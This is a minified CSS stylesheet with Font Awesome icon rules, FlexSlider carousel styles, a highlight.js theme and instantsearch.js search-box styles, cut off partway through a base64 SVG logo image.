are:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}@font-face{font-family:flexslider-icon;src:url(fonts/flexslider-icon.eot);src:url(fonts/flexslider-icon.eot?#iefix) format("embedded-opentype"),url(fonts/flexslider-icon.woff) format("woff"),url(fonts/flexslider-icon.ttf) format("truetype"),url(fonts/flexslider-icon.svg#flexslider-icon) format("svg");font-weight:400;font-style:normal}.flex-container a:hover,.flex-slider a:hover{outline:0}.flex-control-nav,.flex-direction-nav,.slides,.slides>li{margin:0;padding:0;list-style:none}.flex-pauseplay span{text-transform:capitalize}.flexslider{margin:0;padding:0}.flexslider .slides>li{display:none;-webkit-backface-visibility:hidden}.flexslider .slides img{width:100%;display:block}.flexslider .slides:after{content:"\0020";display:block;clear:both;visibility:hidden;line-height:0;height:0}html[xmlns] .flexslider .slides{display:block}* html .flexslider .slides{height:1%}.no-js .flexslider .slides>li:first-child{display:block}.flexslider{margin:0 0 60px;background:#fff;border:4px solid #fff;position:relative;zoom:1;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:"" 0 1px 4px #0003;-moz-box-shadow:"" 0 1px 4px #0003;-o-box-shadow:"" 0 1px 4px #0003;box-shadow:"" 0 1px 4px #0003}.flexslider .slides{zoom:1}.flexslider .slides img{height:auto;-moz-user-select:none}.flex-viewport{max-height:2e3px;-webkit-transition:all 1s ease;-moz-transition:all 1s ease;-ms-transition:all 1s ease;-o-transition:all 1s ease;transition:all 1s ease}.loading .flex-viewport{max-height:300px}@-moz-document url-prefix(){.loading .flex-viewport{max-height:none}}.carousel li{margin-right:5px}.flex-direction-nav a{text-decoration:none;display:block;width:40px;height:40px;margin:-20px 0 0;position:absolute;top:50%;z-index:10;overflow:hidden;opacity:0;cursor:pointer;color:#000c;text-shadow:1px 1px 0 #ffffff4d;-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-ms-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.flex-direction-nav a:before{font-family:flexslider-icon;font-size:40px;display:inline-block;content:'\f001';color:#000c;text-shadow:1px 1px 0 #ffffff4d}.flex-direction-nav a.flex-next:before{content:'\f002'}.flex-direction-nav .flex-prev{left:-50px}.flex-direction-nav .flex-next{right:-50px;text-align:right}.flexslider:hover .flex-direction-nav .flex-prev{opacity:.7;left:10px}.flexslider:hover .flex-direction-nav .flex-prev:hover{opacity:1}.flexslider:hover .flex-direction-nav .flex-next{opacity:.7;right:10px}.flexslider:hover .flex-direction-nav .flex-next:hover{opacity:1}.flex-direction-nav .flex-disabled{opacity:0!important;cursor:default;z-index:-1}.flex-pauseplay a{display:block;width:20px;height:20px;position:absolute;bottom:5px;left:10px;opacity:.8;z-index:10;overflow:hidden;cursor:pointer;color:#000}.flex-pauseplay a:before{font-family:flexslider-icon;font-size:20px;display:inline-block;content:'\f004'}.flex-pauseplay a:hover{opacity:1}.flex-pauseplay a.flex-play:before{content:'\f003'}.flex-control-nav{width:100%;position:absolute;bottom:-40px;text-align:center}.flex-control-nav li{margin:0 6px;display:inline-block;zoom:1}.flex-control-paging li a{width:11px;height:11px;display:block;background:#666;background:#00000080;cursor:pointer;text-indent:-9999px;-webkit-box-shadow:inset 0 0 3px #0000004d;-moz-box-shadow:inset 0 0 3px #0000004d;-o-box-shadow:inset 0 0 3px #0000004d;box-shadow:inset 0 0 3px #0000004d;-webkit-border-radius:20px;-moz-border-radius:20px;border-radius:20px}.flex-control-paging li a:hover{background:#333;background:#000000b2}.flex-control-paging li a.flex-active{background:#000;background:#000000e5;cursor:default}.flex-control-thumbs{margin:5px 0 0;position:static;overflow:hidden}.flex-control-thumbs li{width:25%;float:left;margin:0}.flex-control-thumbs img{width:100%;height:auto;display:block;opacity:.7;cursor:pointer;-moz-user-select:none;-webkit-transition:all 1s ease;-moz-transition:all 1s ease;-ms-transition:all 1s ease;-o-transition:all 1s ease;transition:all 1s ease}.flex-control-thumbs img:hover{opacity:1}.flex-control-thumbs .flex-active{opacity:1;cursor:default}@media screen and (max-width:860px){.flex-direction-nav .flex-prev{opacity:1;left:10px}.flex-direction-nav .flex-next{opacity:1;right:10px}}.hljs{display:block;overflow-x:auto;padding:.5em;background:#3f3f3f;color:#dcdcdc}.hljs-keyword,.hljs-selector-tag,.hljs-tag{color:#e3ceab}.hljs-template-tag{color:#dcdcdc}.hljs-number{color:#8cd0d3}.hljs-variable,.hljs-template-variable,.hljs-attribute{color:#efdcbc}.hljs-literal{color:#efefaf}.hljs-subst{color:#8f8f8f}.hljs-title,.hljs-name,.hljs-selector-id,.hljs-selector-class,.hljs-section,.hljs-type{color:#efef8f}.hljs-symbol,.hljs-bullet,.hljs-link{color:#dca3a3}.hljs-deletion,.hljs-string,.hljs-built_in,.hljs-builtin-name{color:#cc9393}.hljs-addition,.hljs-comment,.hljs-quote,.hljs-meta{color:#7f9f7f}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:700}/*!instantsearch.js 2.10.1 | © Algolia Inc. and other contributors; Licensed MIT | github.com/algolia/instantsearch.js*/@-webkit-keyframes sbx-reset-in{0%{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0);opacity:0}to{-webkit-transform:none;transform:none;opacity:1}}@keyframes sbx-reset-in{0%{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0);opacity:0}to{-webkit-transform:none;transform:none;opacity:1}}.ais-search-box{position:relative;max-width:300px;width:100%}.ais-search-box--input{padding-left:24px;height:100%;width:100%}.ais-search-box--magnifier{top:4px;left:7px}.ais-search-box--magnifier svg{display:block}.ais-search-box--loading-indicator-wrapper,.ais-search-box--magnifier,.ais-search-box--reset{background:0 0;position:absolute;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ais-search-box--loading-indicator-wrapper{display:none;left:7px;top:4px}.ais-search-box--loading-indicator-wrapper svg,.ais-search-box--magnifier svg{vertical-align:middle;height:14px;width:14px}.ais-search-box--reset{cursor:pointer;top:5px;right:5px;margin:0;border:0;padding:0}.ais-search-box--reset svg{display:block;width:12px;height:12px}.ais-search-box--powered-by{font-size:.8em;text-align:right;margin-top:2px}.ais-search-box--powered-by-link{display:inline-block;width:45px;height:16px;text-indent:101%;overflow:hidden;white-space:nowrap;background-image:url(data:image/svg+xml;utf8;base64,PHN2ZyB3aWR0aD0iMTY5IiBoZWlnaHQ9IjU0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMzY2IDM2MiI+PGxpbmVhckdyYWRpZW50IGlkPSJhIiB4MT0iNDI4LjMiIHgyPSI0MzQuMSIgeTE9IjQwNC4xIiB5Mj0iNDA5LjkiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoOTQuMDQ1IDAgMCAtOTQuMDcyIC00MDM4MS41IDM4NDc5LjUpIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+PHN0b3Agb2Zmc2V0PSIwIiBzdG9wLWNvbG9yPSIjMDBhZWZmIi8+PHN0b3Agb2Zmc2V0PSIxIiBzdG9wLWNvbG9yPSIjMzM2OWU3Ii8+PC9saW5lYXJHcmFkaWVudD48cGF0aCBmaWxsPSJ1cmwoI2EpIiBkPSJNNjEuOCAxNS40aDI0Mi44QTQzLjQgNDMuNC4wIDAgMSAzNDggNTguOHYyNDIuOWE0My40IDQzLjQuMCAwIDEtNDMuNCA0My40SDYxLjhhNDMuNCA0My40LjAgMCAxLTQzLjQtNDMuNHYtMjQzYTQzLjMgNDMuMy4wIDAgMSA0My40LTQzLjN6Ii8+PHBhdGggZmlsbD0iI2ZmZiIgZD0iTTE4NyA5OC43YTkzLjEgOTMuMS4wIDEgMCAwIDE4Ni4zIDkzLjEgOTMuMS4wIDAgMCAwLTE4Ni4zem0wIDE1OC44YTY1LjYgNjUuNi4wIDEgMSAwLTEzMS4zIDY1LjYgNjUuNi4wIDAgMSAwIDEzMS4zem0wLTExNy44djQ4LjljMCAxLjQgMS41IDIuNCAyLjggMS43bDQzLjQtMjIuNWMxLS41IDEuMy0xLjcuOC0yLjdhNTQgNTQgMCAwIDAtNDUtMjcuM2MtMSAwLTIgLjgtMiAxLjl6bS02MC44LTM1LjktNS43LTUuN2ExNC4yIDE0LjIuMCAwIDAtMjAuMi4wbC02LjggNi44YTE0LjIgMTQuMi4wIDAgMCAwIDIwLjJsNS42IDUuNmMuOS45IDIuMi43IDMtLjJhMTEwIDExMCAwIDAgMSAyMy44LTIzLjhjMS0uNiAxLjEtMiAuMy0yLjl6TTIxNy41IDg5Vjc3LjdjMC03LjktNi40LTE0LjMtMTQuMy0xNC4zaC0zMy4zYy03LjkuMC0xNC4zIDYuNC0xNC4zIDE0LjN2MTEuNmMwIDEuMyAxLjIgMi4yIDIuNSAxLjlhMTA0LjIgMTA0LjIuMCAwIDEgNTctLjMgMiAyIDAgMCAwIDIuNC0xLjl6Ii8+PHBhdGggZmlsbD0iIzE4MjM1OSIgZD0iTTg0Mi41IDI2Ny42YzAgMjYuNy02LjggNDYuMi0yMC41IDU4LjYtMTMuNyAxMi40LTM0LjYgMTguNi02Mi44IDE4LjYtMTAuMy4wLTMxLjctMi00OC44LTUuOGw2LjMtMzFjMTQuMyAzIDMzLjIgMy44IDQzLjEgMy44IDE1LjcuMCAyNi45LTMuMiAzMy42LTkuNnMxMC0xNS45IDEwLTI4LjV2LTYuNGMtMy45IDEuOS05IDMuOC0xNS4zIDUuOGE3NS43IDc1LjcuMCAwIDEtMjEuOCAyLjkgODIgODIgMCAwIDEtMjkuNS01LjEgNjEuNyA2MS43LjAgMCAxLTM3LjctMzkuOCAxNDQuNyAxNDQuNy4wIDAgMSAuMy03OC4zIDcyLjEgNzIuMS4wIDAgMSA0Mi44LTQzLjMgOTYuMyA5Ni4zLjAgMCAxIDM1LjUtNi43IDIxNCAyMTQgMCAwIDEgMzUuOCAzLjVjMTEuNCAxLjkgMjEuMSAzLjkgMjkgNi4xdjE1NS4yem0tMTA4LjctNzcuMmMwIDE2LjQgMy42IDM0LjYgMTAuOCA0Mi4yYTM2LjcgMzYuNy4wIDAgMCAyNy45IDExLjQgNTkuNSA1OS41LjAgMCAwIDMxLTguN3YtOTcuMWMtMi44LS42LTE0LjUtMy0yNS44LTMuM2EzOSAzOSAwIDAgMC0zMi42IDE0LjdjLTcuNSA5LjMtMTEuMyAyNS42LTExLjMgNDAuOHptMjk0LjMuMGMwIDEzLjItMS45IDIzLjItNS44IDM0LjFzLTkuNCAyMC4yLTE2LjUgMjcuOWMtNy4xIDcuNy0xNS42IDEzLjctMjUuNiAxNy45cy0yNS40IDYuNi0zMy4xIDYuNmExMDIgMTAyIDAgMCAxLTMyLjktNi42IDc0LjUgNzQuNS4wIDAgMS0yNS41LTE3LjkgOTIuOCA5Mi44LjAgMCAxLTIyLjYtNjIgMTA3IDEwNyAwIDAgMSA1LjgtMzYuN2M0LTEwLjggOS42LTIwIDE2LjgtMjcuN3MxNS44LTEzLjYgMjUuNi0xNy44YzkuOS00LjIgMjAuOC02LjIgMzIuNi02LjJzMjIuNyAyLjEgMzIuNyA2LjJhNzEuNSA3MS41LjAgMCAxIDI1LjYgMTcuOCA4Mi41IDgyLjUuMCAwIDEgMTYuNiAyNy43YzQuMiAxMC44IDYuMyAyMy41IDYuMyAzNi43em0tNDAgLjFjMC0xNi45LTMuNy0zMS0xMC45LTQwLjhhMzUuMiAzNS4yLjAgMCAwLTMwLjItMTQuOGMtMTIuOS4wLTIzIDQuOS0zMC4yIDE0LjhhNjkgNjkgMCAwIDAtMTAuNyA0MC44YzAgMTcuMSAzLjYgMjguNiAxMC44IDM4LjVhMzUgMzUgMCAwIDAgMzAuMiAxNC45YzEyLjkuMCAyMy01IDMwLjItMTQuOWE2MS40IDYxLjQuMCAwIDAgMTAuOC0zOC41em0xMjcuMSA4Ni40Yy02NC4xLjMtNjQuMS01MS44LTY0LjEtNjAuMUwxMDUxIDMybDM5LjEtNi4ydjE4My42YzAgNC43LjAgMzQuNSAyNS4xIDM0LjZ2MzIuOXptNjguOS4waC0zOS4zVjEwOC4xbDM5LjMtNi4ydjE3NXptLTE5LjctMTkzLjVhMjMuNyAyMy43LjAgMCAwIDAtNDcuNCAyMy43IDIzLjcuMCAxIDAgMCA0Ny40em0xMTcuNCAxOC42YzEyLjkuMCAyMy44IDEuNiAzMi42IDQuOCA4LjggMy4yIDE1LjkgNy43IDIxLjEgMTMuNHM4LjkgMTMuNSAxMS4xIDIxLjdhMWUyIDFlMi4wI